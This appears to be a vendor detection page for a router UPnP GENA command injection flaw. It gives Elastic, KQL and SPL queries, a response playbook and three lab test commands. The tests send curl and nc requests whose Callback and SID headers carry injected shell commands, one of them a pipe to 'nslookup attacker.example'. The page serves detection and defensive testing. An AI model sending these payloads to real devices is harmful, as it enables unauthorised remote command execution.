Skip to content
CVE-2026-138005 Elastic Security · Elastic

Detect TRENDnet TEW-751DR UPnP GENA_notify_init Command Injection (CVE-2026-138005) in Elastic Security

Detects exploitation of CVE-2026-138005, a command injection vulnerability (CVSS 9.3) in the TRENDnet TEW-751DR 1.03B01 router. The flaw is in the GENA_notify_init function of gena.php (htdocs/upnpinc), part of the device's UPnP/GENA event subscription handling. The UPnP CALLBACK header from an unauthenticated SUBSCRIBE request is written into a generated shell script without quoting (CWE-77/CWE-78), so shell metacharacters in the URI run as OS commands. A remote attacker can execute arbitrary commands. This detection hunts for anomalous UPnP SUBSCRIBE/NOTIFY traffic to the device, shell metacharacters in GENA callback fields, and downstream command-execution telemetry on the embedded Linux device.

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-11882fd636 · https://df00tech.com/detections/CVE-2026-138005 · licence: https://df00tech.com/detections/licence
sequence by source.ip with maxspan=30s
  [network where (http.request.method in ("SUBSCRIBE","NOTIFY") or stringContains(url.path, "gena")) and
     (stringContains(http.request.body.content, ";") or stringContains(http.request.body.content, "|") or
      stringContains(http.request.body.content, "`") or stringContains(http.request.body.content, "$(") or
      stringContains(url.query, ";") or stringContains(url.query, "|"))]
critical severity medium confidence

Correlates UPnP GENA subscription requests carrying shell metacharacters from a single source against the vulnerable device.

Data Sources

Packetbeat HTTPNetwork flow logs

Required Tables

packetbeat-*logs-network.*

False Positives & Tuning

  • Legitimate UPnP control points
  • Authorized vulnerability scans
  • Malformed legacy GENA clients

Other platforms for CVE-2026-138005


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 GENA SUBSCRIBE with semicolon command injection in Callback header

    Expected signal: Network IDS/proxy logs a SUBSCRIBE request to the gena endpoint with a ';id' sequence in the Callback header.

  2. Test 2 GENA NOTIFY with backtick command substitution

    Expected signal: Packet capture shows a NOTIFY request with a backtick-wrapped command in the SID header reaching the device.

  3. Test 3 GENA SUBSCRIBE with pipe-to-shell injection

    Expected signal: IDS/proxy records a SUBSCRIBE request containing a '|nslookup' sequence in the Callback header.


Response Playbook

Triage

  1. Confirm the destination device is a TRENDnet TEW-751DR running firmware 1.03B01 (vulnerable) by checking inventory/NAC records and the device's HTTP Server banner.
  2. Extract the full UPnP SUBSCRIBE/NOTIFY request and decode the Callback/NT/SID header fields; identify the exact shell metacharacters and the injected command string.
  3. Determine whether the request reached the device's UPnP service (ports 1900/49152-49153 or the HTTP admin port) and whether a response/outbound connection followed, indicating successful execution.
  4. Check the source IP reputation and whether the request originated from the internet (WAN exposure) versus an internal/LAN host.

Containment

  1. Block the attacker source IP at the perimeter firewall and disable WAN-facing UPnP on the device immediately.
  2. Isolate the affected router from the network (or place it behind an upstream filtering device) if command execution is confirmed, as the device may be compromised.
  3. Disable the UPnP/GENA service on the device if the firmware permits, pending vendor patch availability.

Evidence Collection

  1. Capture full packet traces of the malicious GENA request and any subsequent outbound connections from the device for forensic analysis.
  2. Export firewall/IDS logs showing the source, timing, and payload of the exploitation attempt.
  3. If device access is available, collect the UPnP/gena log files, process listings, and any newly created files or cron/startup entries from the embedded Linux filesystem.

Escalation Criteria

  • !Escalate to incident response if the device initiated outbound connections (reverse shell, tool download) following the injection attempt.
  • !Escalate to network/infrastructure owners if the vulnerable device is internet-exposed or sits on a trusted/management segment.
  • !Escalate to threat intel/leadership if the same injection pattern targets multiple devices, indicating a coordinated campaign or botnet recruitment.

Investigation Guide

Forensic Artifacts

  • >UPnP/GENA service logs and request history on the device (htdocs/upnpinc gena.php context)
  • >Embedded Linux process table, open files, and newly created binaries in /tmp or /var
  • >Firewall/IDS packet captures of the malicious SUBSCRIBE/NOTIFY request and outbound callbacks

Tuning Guidance

Baseline legitimate UPnP control points (media servers, smart-home hubs) on the LAN and whitelist their source IPs to reduce noise. Tighten the shell-metacharacter regex if benign GENA callbacks in your environment legitimately contain characters like '&' in URLs. Prioritize alerts where the request originates from the WAN/internet or targets the device's admin HTTP port, as internal control-point traffic is far more likely benign.


Hunting Queries

Hunts for GENA UPnP requests carrying shell metacharacters in the callback/subscription headers across network telemetry.

Hunting — KQL
kql
// df00tech DF00-11882fd636 · https://df00tech.com/detections/CVE-2026-138005 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "gena" or AdditionalExtensions has "Callback:" | where AdditionalExtensions has_any (";","|","`","$(") | project TimeGenerated, SourceIP, DestinationIP, AdditionalExtensions
Hunting — SPL
spl
``` df00tech DF00-11882fd636 · https://df00tech.com/detections/CVE-2026-138005 · licence: https://df00tech.com/detections/licence ```
index=network (uri_path=*gena* OR http_content_header=*Callback:*) | regex _raw="[;|&`><]|\$\(" | stats count by src_ip dest_ip

Atomic Red Team Tests

Test 1 GENA SUBSCRIBE with semicolon command injection in Callback header
linux

Sends a crafted UPnP GENA SUBSCRIBE request with a shell metacharacter and injected command in the Callback header to the vulnerable gena.php endpoint (lab device only).

Command

bash
curl -s -X SUBSCRIBE 'http://192.0.2.10:49152/upnp/gena' -H 'NT: upnp:event' -H 'Timeout: Second-1800' -H 'Callback: <http://127.0.0.1/;id>' -H 'User-Agent: test' -o /tmp/gena_test_resp.txt

Cleanup

bash
rm -f /tmp/gena_test_resp.txt

Expected Telemetry

Network IDS/proxy logs a SUBSCRIBE request to the gena endpoint with a ';id' sequence in the Callback header.

Expected Detection

The KQL/SPL rules fire on the shell metacharacter present in the GENA Callback field.

Test 2 GENA NOTIFY with backtick command substitution
linux

Issues a UPnP NOTIFY request embedding a backtick command-substitution payload in the NT/SID header against the lab device.

Command

bash
printf 'NOTIFY /upnp/gena HTTP/1.1\r\nHOST: 192.0.2.10:49152\r\nNT: upnp:event\r\nNTS: upnp:propchange\r\nSID: uuid:`wget http://127.0.0.1/x`\r\nSEQ: 0\r\nContent-Length: 0\r\n\r\n' | nc -w 3 192.0.2.10 49152

Cleanup

bash
echo 'no artifacts to remove'

Expected Telemetry

Packet capture shows a NOTIFY request with a backtick-wrapped command in the SID header reaching the device.

Expected Detection

Detection matches the backtick metacharacter in the GENA SID/NT field.

Test 3 GENA SUBSCRIBE with pipe-to-shell injection
linux

Sends a SUBSCRIBE request with a pipe operator and command in the Callback header simulating an attempt to pipe output into a shell on the vulnerable router.

Command

bash
curl -s -X SUBSCRIBE 'http://192.0.2.10:49152/upnp/gena' -H 'NT: upnp:event' -H 'Callback: <http://127.0.0.1/|nslookup attacker.example>' -o /tmp/gena_pipe_resp.txt

Cleanup

bash
rm -f /tmp/gena_pipe_resp.txt

Expected Telemetry

IDS/proxy records a SUBSCRIBE request containing a '|nslookup' sequence in the Callback header.

Expected Detection

Rules fire on the pipe metacharacter within the GENA callback payload.

Related Detections